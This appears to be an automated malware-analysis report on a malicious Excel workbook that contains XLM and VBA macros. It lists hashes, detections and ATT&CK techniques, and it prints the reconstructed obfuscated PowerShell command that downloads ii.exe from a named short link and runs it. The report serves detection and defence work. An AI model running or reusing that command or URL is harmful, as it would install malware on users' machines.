Office (OLE) / .XLS malware analysis — malicious · 595e271a5894b669

MALICIOUS

Office (OLE) / .XLS

87.5 KB Created: 2020-10-25 18:24:14 Authoring application: Microsoft Excel

MD5: f7af5da0b8a984e944868d021d136295 SHA-1: daf1b1224459641397297dd90414feeeeccff721 SHA-256: 595e271a5894b669c3ef8fe5a437865a054cebd74836b169bbc219e573e13295

140 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1566.002 Spearphishing Attachment

The file is detected as malicious by ClamAV and contains both XLM and VBA macros. The XLM macro contains a reconstructed PowerShell command: 'c md /c powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/ii.exe')'. This command downloads a file named 'ii.exe' from 'https://tinyurl.com/yyzsq9nf' and executes it. The VBA macro also attempts to execute a similar command and sets a Run key for persistence.

Heuristics 4

ClamAV: Xls.Malware.Abracadabra-10031695-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Abracadabra-10031695-0
Auto_Open macro high OLE_VBA_AUTO

Auto_Open macro
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `ab8b513eac5c6cc553e62556a3153d3d3babc9953e1f4c7a0c4548fd6f7d7f8d`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1923 bytes
`macros.bas` `953bf125fb95a97d67f1dfae6bad54545952dd76d888d2a1cbcc94e4187e5630`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1065 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.